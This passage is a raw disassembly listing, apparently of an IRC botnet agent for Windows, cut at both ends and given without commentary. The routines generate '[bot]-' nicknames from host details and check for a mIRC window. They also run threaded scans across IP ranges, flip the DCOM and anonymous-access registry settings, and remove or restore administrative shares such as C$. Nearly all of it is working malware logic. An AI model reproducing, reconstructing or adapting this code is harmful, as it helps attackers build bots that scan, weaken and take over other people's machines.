call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42E7E4 call sub_40A627 pop ecx pop ecx jmp short loc_413D88 ; --------------------------------------------------------------------------- loc_413D85: ; CODE XREF: sub_413B7C+C8j ; sub_413B7C+ECj ... mov edi, [ebp+arg_0] loc_413D88: ; CODE XREF: sub_413B7C+13Cj ; sub_413B7C+207j call ds:dword_4363FC ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset dword_42E7A0 push eax call sub_415480 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_413DC8 push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_40BAE7 add esp, 14h loc_413DC8: ; CODE XREF: sub_413B7C+22Aj lea eax, [ebp+var_414] push eax call sub_40A5B3 pop ecx push edi call ds:dword_436500 ; closesocket push ebx call ds:dword_436500 ; closesocket call ds:dword_4363C8 ; WSACleanup push [ebp+var_4C] call sub_415248 pop ecx push esi call ds:dword_422044 ; ExitThread pop ebx loc_413DFA: ; DATA XREF: sub_413B7C+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_413B7C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413E04 proc near ; CODE XREF: sub_41416F+49p ; DATA XREF: _2:off_42E970o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_2 ; "%s" push 1Ch push edi call sub_4159FA xor esi, esi add esp, 10h cmp ds:dword_42ACE0, esi jle short loc_413E5D loc_413E37: ; CODE XREF: sub_413E04+57j call sub_4154DC push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42E9C4 push 1Ch push edi call sub_4159FA add esp, 14h inc esi cmp esi, ds:dword_42ACE0 jl short loc_413E37 loc_413E5D: ; CODE XREF: sub_413E04+31j mov eax, edi pop edi pop esi retn sub_413E04 endp ; =============== S U B R O U T I N E ======================================= sub_413E62 proc near ; CODE XREF: sub_40D2E0+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 pop ecx call sub_4154DC push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, ds:dword_42ACE0 test esi, esi jle short loc_413EA5 loc_413E8F: ; CODE XREF: sub_413E62+41j call sub_4154DC push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_413E8F loc_413EA5: ; CODE XREF: sub_413E62+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_413E62 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 pop ecx lea eax, [ebp-8] mov esi, offset byte_42E9CC push eax push esi call ds:dword_422138 ; GetComputerNameA movsx eax, ds:byte_42E9CC push 41h pop ecx push 1 pop edx loc_413EEB: ; CODE XREF: _0:00413EF6j cmp eax, ecx jnz short loc_413EF2 mov [ebp-4], edx loc_413EF2: ; CODE XREF: _0:00413EEDj inc ecx cmp ecx, 5Bh jl short loc_413EEB push 61h pop ecx loc_413EFB: ; CODE XREF: _0:00413F06j cmp eax, ecx jnz short loc_413F02 mov [ebp-4], edx loc_413F02: ; CODE XREF: _0:00413EFDj inc ecx cmp ecx, 7Bh jl short loc_413EFB mov edi, [ebp+8] push esi push 1Ch push edi call sub_4159FA xor esi, esi add esp, 0Ch cmp ds:dword_42ACE0, esi jle short loc_413F47 loc_413F21: ; CODE XREF: _0:00413F45j call sub_4154DC push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42E9C4 push 1Ch push edi call sub_4159FA add esp, 14h inc esi cmp esi, ds:dword_42ACE0 jl short loc_413F21 loc_413F47: ; CODE XREF: _0:00413F1Fj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call ds:dword_422160 ; GetLocaleInfoA mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_42E9D0 push 1Ch push edi call sub_4159FA xor esi, esi add esp, 10h cmp ds:dword_42ACE0, esi jle short loc_413FBC loc_413F96: ; CODE XREF: _0:00413FBAj call sub_4154DC push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42E9C4 push 1Ch push edi call sub_4159FA add esp, 14h inc esi cmp esi, ds:dword_42ACE0 jl short loc_413F96 loc_413FBC: ; CODE XREF: _0:00413F94j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_4325D8 mov dword ptr [ebp-94h], 94h call ds:dword_422124 ; GetVersionExA call ds:dword_422048 ; GetTickCount push eax call sub_4154D2 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_414046 cmp dword ptr [ebp-8Ch], 0 jnz short loc_414026 cmp dword ptr [ebp-84h], 1 jnz short loc_414016 mov esi, offset a95 ; "95" loc_414016: ; CODE XREF: _0:0041400Fj cmp dword ptr [ebp-84h], 2 jnz short loc_414082 mov esi, offset aNt ; "NT" jmp short loc_414082 ; --------------------------------------------------------------------------- loc_414026: ; CODE XREF: _0:00414006j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_414036 mov esi, offset a98 ; "98" jmp short loc_414082 ; --------------------------------------------------------------------------- loc_414036: ; CODE XREF: _0:0041402Dj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_41407D mov esi, offset aMe ; "ME" jmp short loc_414082 ; --------------------------------------------------------------------------- loc_414046: ; CODE XREF: _0:00413FFDj cmp dword ptr [ebp-90h], 5 jnz short loc_41407D cmp dword ptr [ebp-8Ch], 0 jnz short loc_41405F mov esi, offset a2k ; "2K" jmp short loc_414082 ; --------------------------------------------------------------------------- loc_41405F: ; CODE XREF: _0:00414056j cmp dword ptr [ebp-8Ch], 1 jnz short loc_41406F mov esi, offset aXp ; "XP" jmp short loc_414082 ; --------------------------------------------------------------------------- loc_41406F: ; CODE XREF: _0:00414066j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_42E9DC jz short loc_414082 loc_41407D: ; CODE XREF: _0:0041403Dj _0:0041404Dj mov esi, offset dword_4294F4 loc_414082: ; CODE XREF: _0:0041401Dj _0:00414024j ... mov edi, [ebp+8] push esi push offset dword_42E9D4 push 1Ch push edi call sub_4159FA xor esi, esi add esp, 10h cmp ds:dword_42ACE0, esi jle short loc_4140C6 loc_4140A0: ; CODE XREF: _0:004140C4j call sub_4154DC push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42E9C4 push 1Ch push edi call sub_4159FA add esp, 14h inc esi cmp esi, ds:dword_42ACE0 jl short loc_4140A0 loc_4140C6: ; CODE XREF: _0:0041409Ej mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140CC proc near ; CODE XREF: sub_41416F+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_422048 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_41411B call ds:dword_436474 ; FindWindowA test eax, eax mov eax, offset dword_42E9E8 jnz short loc_414104 mov eax, offset byte_4325D8 loc_414104: ; CODE XREF: sub_4140CC+31j push eax push esi push offset dword_42E9E0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_4159FA add esp, 14h jmp short loc_41413B ; --------------------------------------------------------------------------- loc_41411B: ; CODE XREF: sub_4140CC+22j call ds:dword_436474 ; FindWindowA test eax, eax mov eax, offset dword_42E9E8 jnz short loc_41412F mov eax, offset byte_4325D8 loc_41412F: ; CODE XREF: sub_4140CC+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_415480 pop ecx pop ecx loc_41413B: ; CODE XREF: sub_4140CC+4Dj lea eax, [ebp+var_1C] push eax call sub_415C80 pop ecx cmp eax, 2 pop esi jbe short loc_41416A push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_416F00 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_416D30 add esp, 18h loc_41416A: ; CODE XREF: sub_4140CC+7Dj mov eax, [ebp+arg_0] leave retn sub_4140CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41416F proc near ; CODE XREF: sub_40D000+7Fp ; sub_40D168+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42E96C loc_41417B: ; CODE XREF: sub_41416F+3Fj cmp [ebp+arg_C], 0 jz short loc_414196 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4158A0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4141A0 ; --------------------------------------------------------------------------- loc_414196: ; CODE XREF: sub_41416F+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_4141A0: ; CODE XREF: sub_41416F+25j test eax, eax jnz short loc_4141B2 add esi, 14h inc edi cmp esi, offset dword_42E9D0 jb short loc_41417B jmp short loc_4141C0 ; --------------------------------------------------------------------------- loc_4141B2: ; CODE XREF: sub_41416F+33j push [ebp+arg_0] lea eax, [edi+edi*4] call ds:off_42E970[eax*4] pop ecx loc_4141C0: ; CODE XREF: sub_41416F+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_4141D3 push [ebp+arg_0] call sub_4140CC pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4141D3: ; CODE XREF: sub_41416F+57j mov eax, [ebp+arg_0] pop ebp retn sub_41416F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141D8 proc near ; DATA XREF: sub_4142A5+7Bo var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_415500 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call ds:dword_436468 ; htons mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call ds:dword_4364E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_414296 lea eax, [ebp+var_10] push 10h push eax push esi call ds:dword_436410 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_43BECC[ecx], esi jz short loc_414296 push [ebp+var_34] push [ebp+var_28] call ds:dword_4364F4 ; inet_ntoa push eax mov edi, offset dword_4C8E54 push offset unk_42E9EC push edi call sub_415480 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40BAE7 push edi call sub_40A5B3 add esp, 28h loc_414296: ; CODE XREF: sub_4141D8+5Dj ; sub_4141D8+7Ej push esi call ds:dword_436500 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_4141D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4142A5 proc near ; DATA XREF: sub_40D2E0+35E0o var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Ah mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_422054 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_4142D3: ; CODE XREF: sub_4142A5+ECj push [ebp+var_2C] push [ebp+var_20] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_42EA24 push eax call sub_415480 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_43BCC0 push eax call sub_416D30 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_4141D8 push edi push edi call ds:dword_422070 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_41433F loc_414334: ; CODE XREF: sub_4142A5+98j cmp [ebp+var_C], edi jnz short loc_41433F push 32h call esi ; Sleep jmp short loc_414334 ; --------------------------------------------------------------------------- loc_41433F: ; CODE XREF: sub_4142A5+8Dj ; sub_4142A5+92j push [ebp+var_4] call ds:off_422074 push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_415560 add esp, 0Ch push [ebp+arg_0] call ds:dword_43639C ; htonl inc eax push eax mov [ebp+arg_0], eax call ds:dword_436464 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_415560 add esp, 0Ch jmp loc_4142D3 sub_4142A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414396 proc near ; DATA XREF: sub_40D2E0+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_4143DD call sub_4143F6 jmp short loc_4143E2 ; --------------------------------------------------------------------------- loc_4143DD: ; CODE XREF: sub_414396+3Ej call sub_41471A loc_4143E2: ; CODE XREF: sub_414396+45j add esp, 10h push [ebp+var_14] call sub_415248 pop ecx push 0 call ds:dword_422044 ; ExitThread sub_414396 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F6 proc near ; CODE XREF: sub_414396+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp ds:dword_436538, edi jnz loc_414528 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_4364D8 ; RegOpenKeyExA test eax, eax jnz short loc_414481 mov ax, ds:word_42EDD4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_43648C ; RegSetValueExA test eax, eax jz short loc_414463 push offset unk_42ED94 jmp short loc_414468 ; --------------------------------------------------------------------------- loc_414463: ; CODE XREF: sub_4143F6+64j push offset dword_42ED68 loc_414468: ; CODE XREF: sub_4143F6+6Bj lea eax, [ebp+var_214] push eax call sub_415480 pop ecx pop ecx push [ebp+var_4] call ds:dword_436444 ; RegCloseKey jmp short loc_414494 ; --------------------------------------------------------------------------- loc_414481: ; CODE XREF: sub_4143F6+36j lea eax, [ebp+var_214] push offset unk_42ED28 push eax call sub_415480 pop ecx pop ecx loc_414494: ; CODE XREF: sub_4143F6+89j cmp [ebp+arg_C], edi jnz short loc_4144B3 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_4144B3: ; CODE XREF: sub_4143F6+A1j lea eax, [ebp+var_214] push eax call sub_40A5B3 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_4364D8 ; RegOpenKeyExA test eax, eax jnz short loc_414521 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call ds:dword_43648C ; RegSetValueExA test eax, eax jz short loc_414503 push offset unk_42ECC8 jmp short loc_414508 ; --------------------------------------------------------------------------- loc_414503: ; CODE XREF: sub_4143F6+104j push offset unk_42EC84 loc_414508: ; CODE XREF: sub_4143F6+10Bj lea eax, [ebp+var_214] push eax call sub_415480 pop ecx pop ecx push [ebp+var_4] call ds:dword_436444 ; RegCloseKey jmp short loc_41453B ; --------------------------------------------------------------------------- loc_414521: ; CODE XREF: sub_4143F6+E2j push offset unk_42EC38 jmp short loc_41452D ; --------------------------------------------------------------------------- loc_414528: ; CODE XREF: sub_4143F6+13j push offset unk_42EBF8 loc_41452D: ; CODE XREF: sub_4143F6+130j lea eax, [ebp+var_214] push eax call sub_415480 pop ecx pop ecx loc_41453B: ; CODE XREF: sub_4143F6+129j cmp [ebp+arg_C], edi jnz short loc_41455A push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_41455A: ; CODE XREF: sub_4143F6+148j lea eax, [ebp+var_214] push eax call sub_40A5B3 cmp ds:dword_436560, edi pop ecx jnz loc_4146D5 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41457D: ; CODE XREF: sub_4143F6+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call ds:dword_4363B4 cmp eax, edi mov [ebp+var_10], eax jz short loc_41461A cmp eax, 0EAh jz short loc_41461A mov esi, offset off_42EA60 loc_4145AE: ; CODE XREF: sub_4143F6+21Dj push dword ptr [esi] push edi call sub_40C131 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_4145C5 push offset unk_42EBC4 jmp short loc_4145CA ; --------------------------------------------------------------------------- loc_4145C5: ; CODE XREF: sub_4143F6+1C6j push offset unk_42EB88 loc_4145CA: ; CODE XREF: sub_4143F6+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_4159FA add esp, 10h cmp [ebp+arg_C], edi jnz short loc_4145FD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_4145FD: ; CODE XREF: sub_4143F6+1EBj lea eax, [ebp+var_214] push eax call sub_40A5B3 add esi, 8 pop ecx cmp esi, offset dword_42EA80 jb short loc_4145AE jmp loc_4146B2 ; --------------------------------------------------------------------------- loc_41461A: ; CODE XREF: sub_4143F6+1AAj ; sub_4143F6+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_4146A9 loc_414629: ; CODE XREF: sub_4143F6+2AFj mov edi, [esi] push edi call sub_417ABC cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41469E push edi call sub_40C01E push eax push 0 call sub_40C131 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_414658 push offset unk_42EB54 jmp short loc_41465D ; --------------------------------------------------------------------------- loc_414658: ; CODE XREF: sub_4143F6+259j push offset unk_42EB18 loc_41465D: ; CODE XREF: sub_4143F6+260j lea eax, [ebp+var_214] push 200h push eax call sub_4159FA add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_414691 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_414691: ; CODE XREF: sub_4143F6+27Fj lea eax, [ebp+var_214] push eax call sub_40A5B3 pop ecx loc_41469E: ; CODE XREF: sub_4143F6+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_414629 xor edi, edi loc_4146A9: ; CODE XREF: sub_4143F6+22Dj push [ebp+var_8] call ds:dword_4364F8 loc_4146B2: ; CODE XREF: sub_4143F6+21Fj cmp [ebp+var_10], 0EAh jz loc_41457D lea eax, [ebp+var_214] push offset unk_42EAE0 push eax call sub_415480 pop ecx pop ecx pop ebx jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146D5: ; CODE XREF: sub_4143F6+177j lea eax, [ebp+var_214] push offset unk_42EAA0 push eax call sub_415480 pop ecx pop ecx loc_4146E8: ; CODE XREF: sub_4143F6+2DDj cmp [ebp+arg_C], edi jnz short loc_414706 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_414706: ; CODE XREF: sub_4143F6+2F5j lea eax, [ebp+var_214] push eax call sub_40A5B3 pop ecx push 1 pop eax pop edi pop esi leave retn sub_4143F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41471A proc near ; CODE XREF: sub_414396:loc_4143DDp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp ds:dword_436538, ebx push esi jnz loc_414848 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call ds:dword_4364D8 ; RegOpenKeyExA test eax, eax jnz short loc_4147A5 mov ax, ds:word_42EFBC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_415C80 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call ds:dword_43648C ; RegSetValueExA test eax, eax jz short loc_414787 push offset unk_42EF88 jmp short loc_41478C ; --------------------------------------------------------------------------- loc_414787: ; CODE XREF: sub_41471A+64j push offset dword_42EF5C loc_41478C: ; CODE XREF: sub_41471A+6Bj lea eax, [ebp+var_220] push eax call sub_415480 pop ecx pop ecx push [ebp+var_4] call ds:dword_436444 ; RegCloseKey jmp short loc_4147B8 ; --------------------------------------------------------------------------- loc_4147A5: ; CODE XREF: sub_41471A+36j lea eax, [ebp+var_220] push offset unk_42ED28 push eax call sub_415480 pop ecx pop ecx loc_4147B8: ; CODE XREF: sub_41471A+89j cmp [ebp+arg_C], ebx jnz short loc_4147D7 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_4147D7: ; CODE XREF: sub_41471A+A1j lea eax, [ebp+var_220] push eax call sub_40A5B3 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call ds:dword_4364D8 ; RegOpenKeyExA test eax, eax jnz short loc_414841 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call ds:dword_43648C ; RegSetValueExA test eax, eax jz short loc_414823 push offset unk_42EF10 jmp short loc_414828 ; --------------------------------------------------------------------------- loc_414823: ; CODE XREF: sub_41471A+100j push offset unk_42EECC loc_414828: ; CODE XREF: sub_41471A+107j lea eax, [ebp+var_220] push eax call sub_415480 pop ecx pop ecx push [ebp+var_4] call ds:dword_436444 ; RegCloseKey jmp short loc_41485B ; --------------------------------------------------------------------------- loc_414841: ; CODE XREF: sub_41471A+E2j push offset unk_42EE80 jmp short loc_41484D ; --------------------------------------------------------------------------- loc_414848: ; CODE XREF: sub_41471A+13j push offset unk_42EBF8 loc_41484D: ; CODE XREF: sub_41471A+12Cj lea eax, [ebp+var_220] push eax call sub_415480 pop ecx pop ecx loc_41485B: ; CODE XREF: sub_41471A+125j cmp [ebp+arg_C], ebx jnz short loc_41487A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_41487A: ; CODE XREF: sub_41471A+144j lea eax, [ebp+var_220] push eax call sub_40A5B3 cmp ds:dword_436560, ebx pop ecx jnz loc_4149EF push edi mov esi, offset off_42EA60 mov edi, 200h loc_41489E: ; CODE XREF: sub_41471A+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40C085 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4148B9 push offset unk_42EE50 jmp short loc_4148BE ; --------------------------------------------------------------------------- loc_4148B9: ; CODE XREF: sub_41471A+196j push offset unk_42EE18 loc_4148BE: ; CODE XREF: sub_41471A+19Dj lea eax, [ebp+var_220] push edi push eax call sub_4159FA add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_4148ED push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_4148ED: ; CODE XREF: sub_41471A+1B7j lea eax, [ebp+var_220] push eax call sub_40A5B3 add esi, 8 pop ecx cmp esi, offset off_42EA70 jb short loc_41489E call ds:dword_422164 ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_4149D7 loc_414918: ; CODE XREF: sub_41471A+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_4149CC cmp bl, 41h jz loc_4149CC movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_4159FA add esp, 10h lea eax, [ebp+var_20] push eax call ds:dword_4364C8 ; GetDriveTypeA cmp eax, 3 jnz short loc_4149CC lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40C085 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41498A push offset unk_42EE50 jmp short loc_41498F ; --------------------------------------------------------------------------- loc_41498A: ; CODE XREF: sub_41471A+267j push offset unk_42EE18 loc_41498F: ; CODE XREF: sub_41471A+26Ej lea eax, [ebp+var_220] push edi push eax call sub_4159FA add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_4149BF push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_4149BF: ; CODE XREF: sub_41471A+289j lea eax, [ebp+var_220] push eax call sub_40A5B3 pop ecx loc_4149CC: ; CODE XREF: sub_41471A+206j ; sub_41471A+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_414918 loc_4149D7: ; CODE XREF: sub_41471A+1F8j lea eax, [ebp+var_220] push offset unk_42EDD8 push eax call sub_415480 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_414A02 ; --------------------------------------------------------------------------- loc_4149EF: ; CODE XREF: sub_41471A+173j lea eax, [ebp+var_220] push offset unk_42EAA0 push eax call sub_415480 pop ecx pop ecx loc_414A02: ; CODE XREF: sub_41471A+2D3j cmp [ebp+arg_C], ebx jnz short loc_414A20 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h loc_414A20: ; CODE XREF: sub_41471A+2EBj lea eax, [ebp+var_220] push eax call sub_40A5B3 pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41471A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A34 proc near ; CODE XREF: sub_4138EE+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_414B85 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, ds:dword_43BECC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_422070 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_414D57 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_414A9F call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42F004 call sub_40A627 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_414AD9 ; --------------------------------------------------------------------------- loc_414A9F: ; CODE XREF: sub_414A34+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_414E09 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_414AE0 call ds:dword_42206C ; 